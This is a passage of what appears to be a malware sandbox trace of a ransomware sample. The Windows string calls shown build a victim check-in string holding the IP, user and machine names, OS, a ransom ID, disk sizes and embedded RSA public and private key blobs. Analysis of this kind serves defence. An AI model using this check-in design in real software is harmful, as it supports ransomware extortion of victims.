lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&", lpString2="os_major" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=", lpString2="Windows 10 Pro" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&", lpString2="os_bit" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=" [0042.877] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=", lpString2="x64" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64" [0042.878] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&" [0042.878] VirtualAlloc (lpAddress=0x0, dwSize=0x42, flAllocationType=0x3000, flProtect=0x40) returned 0x1ec0000 [0042.878] wsprintfW (in: param_1=0x1ec0000, param_2="%x%x" | out: param_1="dce1bb8bd2ca4def") returned 16 [0042.878] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&", lpString2="ransom_id" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id" [0042.878] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=" [0042.878] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=", lpString2="dce1bb8bd2ca4def" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def" [0042.878] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&" [0042.878] VirtualFree (lpAddress=0x1ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0042.878] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&", lpString2="hdd" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd" [0042.878] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=" [0042.878] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=", lpString2="C:FIXED_549227327488/18561421312" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312" [0042.879] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312&" [0042.879] lstrlenW (lpString="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312&") returned 197 [0042.879] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312", lpString2="&pub_key=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312&pub_key=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312&pub_key=" [0042.879] lstrlenW (lpString="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312&pub_key=") returned 205 [0042.879] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.879] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x9a0000, cbMultiByte=-1, lpWideCharStr=0x26d01b2, cchWideChar=368 | out: lpWideCharStr="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 0 [0042.879] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI", lpString2="&priv_key=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI&priv_key=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI&priv_key=" [0042.879] lstrlenW (lpString="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI&priv_key=") returned 583 [0042.879] lstrlenA (lpString="BwIAAACkAABSU0EyAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiIR6fAfl+7BkZzOkyfZZMI60hx9dRPdWdlHz4e7qS5dn7RVkQPbtVBrph0ImjDK35G0DNavQr9Kc7O4ap+kdF4q6iWiWDMMiGQHLVDbi2n+d4uMOdjyEmwPnTSDviobTeYXMD9oHbGGW6k5SgOzOhc1gve9CMjraCmC6p8wuuVvLlJVrl6Ri6//pYJfBYIKjjuRRiP605TNEyBJKL9pWxercjNIhFytu7qHxlReH2JLEkmiMmNimsFen46Y9dIBBI7hBn+lZesEirSR6G3AUq8jvtr9GrD5zuW9EWx4yRH2Cqlsw19axlWy+iAbFfMe8QRk/q9gcyw+UKQ4mQbZn9bvBFWfgy2r+YKkE5Z5SOyM+/QIJ4LnxNm4kuJKkXIpihqNOPDCI8U6j+WvaRrsrTy2IdNiZilb3+IuUgR8lBNrnAL0vbMt56nKj3huKKpRHvCZ2HFid5k714lU4Bkzs307rw7RuM56wNyQo05T02kXh6iXTnoXQrG7YCp9F0UMWMS+T3D8+2oXDQTirJNczLnnT2z+u+46ROekvY6YvkaaSwyc82J2yl96vRFXpu6ovVQYudfReZDaXuQNIVqZ2EZVlc6GrSrdC/H5AYWmvKGSkGoIRh2tIRjNUMuf0rIaDaCqGFMHnq4VvG1prO9tG5PkrmgDiVGySGSbPs0Fb4lbEKFUC5ORgEaNl3eEAZSJBmWqZzNxp+12Gj17zSKNbDK2NGMBVLPL8USQXhpnhd2WMBJ760EA9jGNC2sKkCWBVUFStJ0msp01xyV5LWhgR8GLr1hKXma+0wS9XY74qj4d6VLKYvfJPD+/g0XiLZnqIKUHXZwp1iSi9MeGStuDZBndIEFBjXIZ04dc1jkKPrtS6C3ePbc9tzugxmL3Qe16eHVrspOoaH4CUTj10m9H9KQo1WBdQK3clfjQ1Ync9ULHBZhDYJpYAU0F9Lg8DZCuk8nV4BaCD1LveWhGeCzm5w7JwQpNP3mcMzli/xyYKHBKmuyZ0toaxXinjqh6HIPluAu+G49xSYZwqzWCjXLztxXLqScNApQc9AxDpDekxDjgYEdv/4xL0gWAWNZ3eugEx2mYKa2bZj+gE4i2Jk9xygoUFhqLNBIR7UYYtC9h03Ft/C1vtGZTLbQ8MAUWhgXzQnLCp2wll2Iu02n9nJ4Fih5FT4PS/B5JXum1z/tJ0XHWwk=") returned 1564 [0042.879] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x9a0171, cbMultiByte=-1, lpWideCharStr=0x26d04a6, cchWideChar=1564 | out: lpWideCharStr="BwIAAACkAABSU0EyAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiIR6fAfl+7BkZzOkyfZZMI60hx9dRPdWdlHz4e7qS5dn7RVkQPbtVBrph0ImjDK35G0DNavQr9Kc7O4ap+kdF4q6iWiWDMMiGQHLVDbi2n+d4uMOdjyEmwPnTSDviobTeYXMD9oHbGGW6k5SgOzOhc1gve9CMjraCmC6p8wuuVvLlJVrl6Ri6//pYJfBYIKjjuRRiP605TNEyBJKL9pWxercjNIhFytu7qHxlReH2JLEkmiMmNimsFen46Y9dIBBI7hBn+lZesEirSR6G3AUq8jvtr9GrD5zuW9EWx4yRH2Cqlsw19axlWy+iAbFfMe8QRk/q9gcyw+UKQ4mQbZn9bvBFWfgy2r+YKkE5Z5SOyM+/QIJ4LnxNm4kuJKkXIpihqNOPDCI8U6j+WvaRrsrTy2IdNiZilb3+IuUgR8lBNrnAL0vbMt56nKj3huKKpRHvCZ2HFid5k714lU4Bkzs307rw7RuM56wNyQo05T02kXh6iXTnoXQrG7YCp9F0UMWMS+T3D8+2oXDQTirJNczLnnT2z+u+46ROekvY6YvkaaSwyc82J2yl96vRFXpu6ovVQYudfReZDaXuQNIVqZ2EZVlc6GrSrdC/H5AYWmvKGSkGoIRh2tIRjNUMuf0rIaDaCqGFMHnq4VvG1prO9tG5PkrmgDiVGySGSbPs0Fb4lbEKFUC5ORgEaNl3eEAZSJBmWqZzNxp+12Gj17zSKNbDK2NGMBVLPL8USQXhpnhd2WMBJ760EA9jGNC2sKkCWBVUFStJ0msp01xyV5LWhgR8GLr1hKXma+0wS9XY74qj4d6VLKYvfJPD+/g0XiLZnqIKUHXZwp1iSi9MeGStuDZBndIEFBjXIZ04dc1jkKPrtS6C3ePbc9tzugxmL3Qe16eHVrspOoaH4CUTj10m9H9KQo1WBdQK3clfjQ1Ync9ULHBZhDYJpYAU0F9Lg8DZCuk8nV4BaCD1LveWhGeCzm5w7JwQpNP3mcMzli/xyYKHBKmuyZ0toaxXinjqh6HIPluAu+G49xSYZwqzWCjXLztxXLqScNApQc9AxDpDekxDjgYEdv/4xL0gWAWNZ3eugEx2mYKa2bZj+gE4i2Jk9xygoUFhqLNBIR7UYYtC9h03Ft/C1vtGZTLbQ8MAUWhgXzQnLCp2wll2Iu02n9nJ4Fih5FT4PS/B5JXum1z/tJ0XHWwk=") returned 0 [0042.879] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiIR6fAfl+7BkZzOkyfZZMI60hx9dRPdWdlHz4e7qS5dn7RVkQPbtVBrph0ImjDK35G0DNavQr9Kc7O4ap+kdF4q6iWiWDMMiGQHLVDbi2n+d4uMOdjyEmwPnTSDviobTeYXMD9oHbGGW6k5SgOzOhc1gve9CMjraCmC6p8wuuVvLlJVrl6Ri6//pYJfBYIKjjuRRiP605TNEyBJKL9pWxercjNIhFytu7qHxlReH2JLEkmiMmNimsFen46Y9dIBBI7hBn+lZesEirSR6G3AUq8jvtr9GrD5zuW9EWx4yRH2Cqlsw19axlWy+iAbFfMe8QRk/q9gcyw+UKQ4mQbZn9bvBFWfgy2r+YKkE5Z5SOyM+/QIJ4LnxNm4kuJKkXIpihqNOPDCI8U6j+WvaRrsrTy2IdNiZilb3+IuUgR8lBNrnAL0vbMt56nKj3huKKpRHvCZ2HFid5k714lU4Bkzs307rw7RuM56wNyQo05T02kXh6iXTnoXQrG7YCp9F0UMWMS+T3D8+2oXDQTirJNczLnnT2z+u+46ROekvY6YvkaaSwyc82J2yl96vRFXpu6ovVQYudfReZDaXuQNIVqZ2EZVlc6GrSrdC/H5AYWmvKGSkGoIRh2tIRjNUMuf0rIaDaCqGFMHnq4VvG1prO9tG5PkrmgDiVGySGSbPs0Fb4lbEKFUC5ORgEaNl3eEAZSJBmWqZzNxp+12Gj17zSKNbDK2NGMBVLPL8USQXhpnhd2WMBJ760EA9jGNC2sKkCWBVUFStJ0msp01xyV5LWhgR8GLr1hKXma+0wS9XY74qj4d6VLKYvfJPD+/g0XiLZnqIKUHXZwp1iSi9MeGStuDZBndIEFBjXIZ04dc1jkKPrtS6C3ePbc9tzugxmL3Qe16eHVrspOoaH4CUTj10m9H9KQo1WBdQK3clfjQ1Ync9ULHBZhDYJpYAU0F9Lg8DZCuk8nV4BaCD1LveWhGeCzm5w7JwQpNP3mcMzli/xyYKHBKmuyZ0toaxXinjqh6HIPluAu+G49xSYZwqzWCjXLztxXLqScNApQc9AxDpDekxDjgYEdv/4xL0gWAWNZ3eugEx2mYKa2bZj+gE4i2Jk9xygoUFhqLNBIR7UYYtC9h03Ft/C1vtGZTLbQ8MAUWhgXzQnLCp2wll2Iu02n9nJ4Fih5FT4PS/B5JXum1z/tJ0XHWwk=", lpString2="&version=1.0" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 